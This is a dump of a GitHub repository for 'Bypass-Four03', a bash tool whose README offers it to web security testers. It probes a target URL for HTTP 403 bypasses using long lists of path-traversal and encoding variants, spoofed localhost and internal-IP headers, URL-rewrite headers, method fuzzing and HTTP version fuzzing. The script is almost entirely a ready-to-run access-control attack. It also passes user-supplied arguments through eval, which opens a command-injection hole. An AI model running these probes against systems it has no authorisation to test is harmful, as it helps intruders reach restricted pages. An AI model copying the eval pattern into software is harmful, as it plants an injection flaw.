Repository: nazmul-ethi/Bypass-Four03 Branch: main Commit: e06af9d90cbe Files: 3 Total size: 13.9 KB Directory structure: gitextract_66wgz8le/ ├── LICENSE ├── README.md └── bypass-Four03.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2024 Md Nazmul Islam Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # Bypass-Four03 Bypass-Four03 is a powerful bash tool designed to help testers bypass HTTP 403 forbidden errors through various path and header manipulation techniques. It also includes fuzzing for HTTP methods and protocol versions, making it a versatile addition to any web security researcher's toolkit. # ## Installation Tips: ```yaml git clone https://github.com/nazmul-ethi/Bypass-Four03.git cd Bypass-Four03/ sudo chmod +x bypass-Four03.sh sudo apt install curl jq figlet ``` # ### Example of usage ```yaml Usage: ./bypass-Four03.sh [URL] [path] ./bypass-Four03.sh https://example.com admin ./bypass-Four03.sh https://example.com admin/index.php ./bypass-Four03.sh https://example.com server-status Options: -h, --help Show this help menu ``` # # # ![image](https://github.com/user-attachments/assets/7eb71076-bc34-47df-82ff-78f0d18100f3) ![image](https://github.com/user-attachments/assets/1d49a99d-300d-48c5-ab60-ef5edd946011) ================================================ FILE: bypass-Four03.sh ================================================ #!/bin/bash # Colors RED='\033[0;31m' GREEN='\033[0;32m' BLUE='\033[0;34m' WHITE='\033[1;37m' YELLOW='\033[1;33m' RESET='\033[0m' VIOLET='\033[38;2;138;43;226m' ORANGE='\033[38;2;255;165;0m' INDIGO='\033[38;2;75;0;130m' # Help menu if [[ "$1" == "--help" || "$1" == "-h" ]]; then echo -e "${ORANGE}Usage: ./bypass-Four03.sh [URL] [path]" echo -e "Example: ./bypass-Four03.sh https://example.com admin\n" echo -e "Example: ./bypass-Four03.sh https://example.com admin/index.php\n" echo -e "Example: ./bypass-Four03.sh https://example.com server-status\n" echo -e "${CYAN}Options:${RESET}" echo -e " -h, --help Show this help menu" echo -e "\nThis tool attempts to bypass HTTP 403 forbidden errors using various path and header manipulation techniques." exit 0 fi echo -e "${ORANGE}" figlet -f slant Bypass-Four03 echo -e "${ORANGE}" echo " By nazmul__ethi" echo "./bypass-Four03.sh $1 $2" echo " " # Function to colorize HTTP status codes colorize_status_code() { http_code=$1 # Apply color based on HTTP status code if [[ "$http_code" == "200" ]]; then echo -e "${ORANGE}${http_code}${RESET}" elif [[ "$http_code" == "403" ]]; then echo -e "${RED}${http_code}${RESET}" elif [[ "$http_code" == "405" ]]; then echo -e "${YELLOW}${http_code}${RESET}" elif [[ "$http_code" == "404" ]]; then echo -e "${RED}${http_code}${RESET}" elif [[ "$http_code" == "500" ]]; then echo -e "${VIOLET}${http_code}${RESET}" elif [[ "$http_code" == "400" ]]; then echo -e "${RED}${http_code}${RESET}" else echo -e "${YELLOW}${http_code}${RESET}" fi } # Path Fuzzing echo -e "${VIOLET}PATH FUZZING${RESET}" echo "" fuzz_paths=("$1/$2/../" "$1/$2/.." "$1/../$2" "$1/../$2/../" "$1//$2//" "$1//$2" "$1/$2//" "$1/./$2" "$1/./$2/./" "$1/.$2" "$1/./$2/." "$1/$2/../../" "$1/../../$2/../../" "$1/../../$2" "$1/$2/../../../" "$1/../../../$2" "$1/$2/../../..//" "$1/../../..//$2" "$1/$2/../..//" "$1/../..//$2" "$1/$2/../..//../" "$1/../..//../$2" "$1/$2/../..;/" "$1/../..;/$2" "$1/$2/.././../" "$1/.././../$2" "$1/$2/../.;/../" "$1/../.;/../$2" "$1/$2/..//../" "$1/..//../$2" "$1/$2/..//..;/" "$1/..//..;/$2" "$1/$2/..;//..;/" "$1/..;//..;/$2" "$1/$2//.." "$1/$2//../../" "$1/$2//..;" "$1/$2/%00" "$1/$2%00" "$1/%00/$2" "$1/%00/$2/%00" "$1/$2/..%00/;" "$1/..%00/;$2" "$1/$2/..%00;/" "$1/$2/..;%00/" "$1%00$2" "$1/$2/%09" "$1/$2%09" "$1/%09/$2" "$1/%09/$2/%09/" "$1/$2/%09.." "$1/$2/..%09" "$1%09$2" "$1/..%09/$2" "$1/$2%09%3b" "$1/%09%3b/$2" "$1/$2%09%3b" "$1/$2/%0d" "$1/$2%0d" "$1/%0d/$2" "$1/%0d/$2/%0d" "$1/$2..%0d/;" "$1/..%0d/;/$2" "$1/$2/..%0d;/" "$1/$2/..;%0d/" "$1%0d$2" "$1/$2/%20" "$1/$2%20" "$1/%20/$2" "$1/%20/$2/%20" "$1/$2/%20#" "$1/$2/%20%23" "$1/$2/%23" "$1/$2%23" "$1/%23/$2" "$1/%23/$2/%23/" "$1/$2/%23%3f" "$1/$2%23%3f" "$1/%23%3f/$2" "$1/$2%252e**" "$1%20$2" "$1/$2%252e/" "$1/$2/%252e%252e%252f/" "$1/$2/%252e%252e%253b/" "$1/%252e%252e%253b/$2/%252e%252e%253b/" "$1/$2%252f/" "$1/$2/%252f" "$1/$2%252f%252f" "$1/%252f%252f/$2" "$1/$2/%2e/" "$1/$2%2f%2e%2e" "$1/%2e/$2" "$1/%2e/$2/%2e" "$1/$2%2e%2e" "$1/$2;/" "$1/$2%2e%2e%2f" "$1/%2e%2e/$2" "$1/$2/%2e//" "$1/%2e//$2" "$1/$2/%2e%2e/" "$1/%2e%2e%3b/$2%2e%2e%3b" "$1/$2/%2e%2f/" "$1/%2e%2f/$2" "$1/$2%2f" "$1/$2/%2f" "$1/%2f/$2" "$1/%2f/$2/%2f/" "$1/$2/..%2f" "$1/..%2f/$2" "$1/..%2f/$2/..%2f/" "$1/$2/..;%2f" "$1/$2%2f%23" "$1/$2/%2f%23" "$1/%2f%23/$2" "$1/%2f../$2" "$1/%2f../$2/%2f../" "$1/$2%2f.." "$1%2e$2" "$1%2F$2" "$1/..%2f..%2f/$2" "$1/..%2f..%2f/$2/..%2f..%2f/" "$1/$2/..%2f..%2f" "$1/$2/..;%2f..;%2f" "$1/$2/..%2f..%2f..%2f" "$1/..%2f..%2f..%2f/$2" "$1/$2/..;%2f..;%2f..;%2f" "$1/$2%3b" "$1/%3b/$2" "$1/%3b/$2/%3b/" "$1/$2/%3b" "$1%3b$2" "$1/%3b/../$2" "$1/$2/%3b/.." "$1/$2%3b%09" "$1/%3b/%2e./$2" "$1/$2%3b/%2e." "$1/$2/%3b/%2e." "$1/$2%3b//%2f../" "$1/%3b//%2f../$2%3b//%2f../" "$1/$2%3b/%2f%2f../" "$1/$2%ef%bc%8f" "$1/$2/%3f%23" "$1/%3f%23/$2/%3f%23" "$1%23$2" "$1/..%5c/$2" "$1/$2/..%5c/" "$1/$2/..%ff/;" "$1/..%ff/;/$2" "$1/$2%ff" "$1/*/$2" "$1/$2#" "$1/#$2" "$1/$2.asp" "$1/$2.aspx" "$1/$2.bak" "$1/$2.config" "$1/$2.db" "$1/$2.env" "$1/$2.html" "$1/$2.json" "$1/$2.jsp" "$1/$2.php" "$1/$2.sql" "$1/$2.txt" "$1/$2.zip" "$1/$2.xml" "$1/$2.log" "$1/$2.old") for path in "${fuzz_paths[@]}"; do response=$(curl -k -s -o /dev/null -iL -w "%{http_code},%{size_download}" "$path") http_code=$(echo "$response" | cut -d',' -f1) # Extract the HTTP status code size=$(echo "$response" | cut -d',' -f2) # Extract the size part colorized_code=$(colorize_status_code "$http_code") # Colorize the status code echo -e " --> ${path} Response: [${colorized_code}] Size: ${size}" done # Header Fuzzing echo "" echo -e "${VIOLET}HEADER FUZZING${RESET}" echo "" fuzz_headers=( "-H 'X-Forwarded-For: localhost'" "-H 'X-Forwarded-For: localhost:80'" "-H 'X-Forwarded-For: localhost:443'" "-H 'X-Forwarded-For: 127.0.0.1'" "-H 'X-Forwarded-For: 127.0.0.1:80'" "-H 'X-Forwarded-For: 127.0.0.1:443'" "-H 'X-Forwarded-For: 2130706433'" "-H 'X-Forwarded-For: 0x7F000001'" "-H 'X-Forwarded-For: 0177.0000.0000.0001'" "-H 'X-Forwarded-For: 0'" "-H 'X-Forwarded-For: 127.1'" "-H 'X-Forwarded-For: 10.0.0.0'" "-H 'X-Forwarded-For: 10.0.0.1'" "-H 'X-Forwarded-For: 172.16.0.0'" "-H 'X-Forwarded-For: 172.16.0.1'" "-H 'X-Forwarded-For: 192.168.1.0'" "-H 'X-Forwarded-For: 192.168.1.1'" "-H 'X-Forwarded-Port: 443'" "-H 'X-Forwarded-Port: 443'" "-H 'X-Forwarded-Port: 4443'" "-H 'X-Forwarded-Port: 4443'" "-H 'X-Forwarded-Port: 80'" "-H 'X-Forwarded-Port: 8080'" "-H 'X-Forwarded-Port: 8443'" "-H 'X-Forwarded-Port: 8443'" "-H 'Allow: GET'" "-H 'Allow: HEAD'" "-H 'Allow: POST'" "-H 'Allow: TRACE'" "-H 'Allow: CONNECT'" "-H 'X-Forwarded: localhost'" "-H 'X-Forwarded: localhost:80'" "-H 'X-Forwarded: localhost:443'" "-H 'X-Forwarded: 127.0.0.1'" "-H 'X-Forwarded: 127.0.0.1:80'" "-H 'X-Forwarded: 127.0.0.1:443'" "-H 'X-Forwarded: 2130706433'" "-H 'X-Forwarded: 0x7F000001'" "-H 'X-Forwarded: 0177.0000.0000.0001'" "-H 'X-Forwarded: 0'" "-H 'X-Forwarded: 127.1'" "-H 'X-Forwarded: 10.0.0.0'" "-H 'X-Forwarded: 10.0.0.1'" "-H 'X-Forwarded: 172.16.0.0'" "-H 'X-Forwarded: 172.16.0.1'" "-H 'X-Forwarded: 192.168.1.0'" "-H 'X-Forwarded: 192.168.1.1'" "-H 'X-Original-URL: $2'" "-H 'X-Rewrite-URL: $2'" "-H 'X-Original-URL: /admin/console'" "-H 'X-Rewrite-URL: /admin/console'" "-H 'X-Original-URL: /admin/'" "-H 'X-Rewrite-URL: /admin/'" "-H 'Content-Length: 0' '-X POST'" "-H 'Host: localhost'" "-H 'X-Host: localhost'" "-H 'X-Host: 127.0.0.1'" "-H 'X-ProxyUser-Ip: 127.0.0.1'" "-H 'X-Custom-IP-Authorization: localhost'" "-H 'X-Custom-IP-Authorization: localhost:80'" "-H 'X-Custom-IP-Authorization: localhost:443'" "-H 'X-Custom-IP-Authorization: 127.0.0.1'" "-H 'X-Custom-IP-Authorization: 127.0.0.1:80'" "-H 'X-Custom-IP-Authorization: 127.0.0.1:443'" "-H 'X-Custom-IP-Authorization: 2130706433'" "-H 'X-Custom-IP-Authorization: 0x7F000001'" "-H 'X-Custom-IP-Authorization: 0177.0000.0000.0001'" "-H 'X-Custom-IP-Authorization: 0'" "-H 'X-Custom-IP-Authorization: 127.1'" "-H 'X-Custom-IP-Authorization: 10.0.0.0'" "-H 'X-Custom-IP-Authorization: 10.0.0.1'" "-H 'X-Custom-IP-Authorization: 172.16.0.0'" "-H 'X-Custom-IP-Authorization: 172.16.0.1'" "-H 'X-Custom-IP-Authorization: 192.168.1.0'" "-H 'X-Custom-IP-Authorization: 192.168.1.1'" "-H 'X-Remote-IP: localhost'" "-H 'X-Remote-IP: localhost:80'" "-H 'X-Remote-IP: localhost:443'" "-H 'X-Remote-IP: 127.0.0.1'" "-H 'X-Remote-IP: 127.0.0.1:80'" "-H 'X-Remote-IP: 127.0.0.1:443'" "-H 'X-Remote-IP: 2130706433'" "-H 'X-Remote-IP: 0x7F000001'" "-H 'X-Remote-IP: 0177.0000.0000.0001'" "-H 'X-Remote-IP: 0'" "-H 'X-Remote-IP: 127.1'" "-H 'X-Remote-IP: 10.0.0.0'" "-H 'X-Remote-IP: 10.0.0.1'" "-H 'X-Remote-IP: 172.16.0.0'" "-H 'X-Remote-IP: 172.16.0.1'" "-H 'X-Remote-IP: 192.168.1.0'" "-H 'X-Remote-IP: 192.168.1.1'" "-H 'X-Originating-IP: localhost'" "-H 'X-Originating-IP: localhost:80'" "-H 'X-Originating-IP: localhost:443'" "-H 'X-Originating-IP: 127.0.0.1'" "-H 'X-Originating-IP: 127.0.0.1:80'" "-H 'X-Originating-IP: 127.0.0.1:443'" "-H 'X-Originating-IP: 2130706433'" "-H 'X-Originating-IP: 0x7F000001'" "-H 'X-Originating-IP: 0177.0000.0000.0001'" "-H 'X-Originating-IP: 0'" "-H 'X-Originating-IP: 127.1'" "-H 'X-Originating-IP: 10.0.0.0'" "-H 'X-Originating-IP: 10.0.0.1'" "-H 'X-Originating-IP: 172.16.0.0'" "-H 'X-Originating-IP: 172.16.0.1'" "-H 'X-Originating-IP: 192.168.1.0'" "-H 'X-Originating-IP: 192.168.1.1'" "-H 'X-Remote-Addr: localhost'" "-H 'X-Remote-Addr: localhost:80'" "-H 'X-Remote-Addr: localhost:443'" "-H 'X-Remote-Addr: 127.0.0.1'" "-H 'X-Remote-Addr: 127.0.0.1:80'" "-H 'X-Remote-Addr: 127.0.0.1:443'" "-H 'X-Remote-Addr: 2130706433'" "-H 'X-Remote-Addr: 0x7F000001'" "-H 'X-Remote-Addr: 0177.0000.0000.0001'" "-H 'X-Remote-Addr: 0'" "-H 'X-Remote-Addr: 127.1'" "-H 'X-Remote-Addr: 10.0.0.0'" "-H 'X-Remote-Addr: 10.0.0.1'" "-H 'X-Remote-Addr: 172.16.0.0'" "-H 'X-Remote-Addr: 172.16.0.1'" "-H 'X-Remote-Addr: 192.168.1.0'" "-H 'X-Remote-Addr: 192.168.1.1'" "-H 'X-Client-IP: localhost'" "-H 'X-Client-IP: localhost:80'" "-H 'X-Client-IP: localhost:443'" "-H 'X-Client-IP: 127.0.0.1'" "-H 'X-Client-IP: 127.0.0.1:80'" "-H 'X-Client-IP: 127.0.0.1:443'" "-H 'X-Client-IP: 2130706433'" "-H 'X-Client-IP: 0x7F000001'" "-H 'X-Client-IP: 0177.0000.0000.0001'" "-H 'X-Client-IP: 0'" "-H 'X-Client-IP: 127.1'" "-H 'X-Client-IP: 10.0.0.0'" "-H 'X-Client-IP: 10.0.0.1'" "-H 'X-Client-IP: 172.16.0.0'" "-H 'X-Client-IP: 172.16.0.1'" "-H 'X-Client-IP: 192.168.1.0'" "-H 'X-Client-IP: 192.168.1.1'" "-H 'X-Real-IP: localhost'" "-H 'X-Real-IP: localhost:80'" "-H 'X-Real-IP: localhost:443'" "-H 'X-Real-IP: 127.0.0.1'" "-H 'X-Real-IP: 127.0.0.1:80'" "-H 'X-Real-IP: 127.0.0.1:443'" "-H 'X-Real-IP: 2130706433'" "-H 'X-Real-IP: 0x7F000001'" "-H 'X-Real-IP: 0177.0000.0000.0001'" "-H 'X-Real-IP: 0'" "-H 'X-Real-IP: 127.1'" "-H 'X-Real-IP: 10.0.0.0'" "-H 'X-Real-IP: 10.0.0.1'" "-H 'X-Real-IP: 172.16.0.0'" "-H 'X-Real-IP: 172.16.0.1'" "-H 'X-Real-IP: 192.168.1.0'" "-H 'X-Real-IP: 192.168.1.1'" ) for header in "${fuzz_headers[@]}"; do response=$(eval "curl -k -s -o /dev/null -iL -w '%{http_code},%{size_download}' $header $1/$2") http_code=$(echo "$response" | cut -d',' -f1) # Extract the HTTP status code size=$(echo "$response" | cut -d',' -f2) # Extract the size part colorized_code=$(colorize_status_code "$http_code") # Colorize the status code echo -e " --> ${1}/${2} ${header} Response: [${colorized_code}] Size: ${size}" done # HTTP Method Fuzzing echo "" echo -e "${VIOLET}HTTP METHOD FUZZING${RESET}" echo "" methods=("PUT" "POST" "CONNECT" "TRACE" "PATCH" "HEAD") #You can also add HEAD METHOD here.. for method in "${methods[@]}"; do response=$(curl -k -s -o /dev/null -iL -w "%{http_code},%{size_download}" -X "$method" "$1/$2") http_code=$(echo "$response" | cut -d',' -f1) # Extract the HTTP status code size=$(echo "$response" | cut -d',' -f2) # Extract the size part colorized_code=$(colorize_status_code "$http_code") # Colorize the status code echo -e " --> ${1}/${2} -X $method Response: [${colorized_code}] Size: ${size}" done # HTTP Protocol Version Fuzzing echo "" echo -e "${VIOLET}HTTP PROTOCOL VERSION FUZZING${RESET}" echo "" versions=("0.9" "1.0" "1.1") for version in "${versions[@]}"; do response=$(curl -k -s -o /dev/null -iL -w "%{http_code},%{size_download}" "$1/$2" --http"$version") http_code=$(echo "$response" | cut -d',' -f1) # Extract the HTTP status code size=$(echo "$response" | cut -d',' -f2) # Extract the size part colorized_code=$(colorize_status_code "$http_code") # Colorize the status code echo -e " --> ${1}/${2} with HTTP/$version Response: [${colorized_code}] Size: ${size}" done # Wayback Machine Check # echo "" echo -e "${VIOLET}WAYBACK MACHINE CHECK${RESET}" # echo "" # curl -s https://archive.org/wayback/available?url=$1/$2 | jq -r '.archived_snapshots.closest | {available, url}'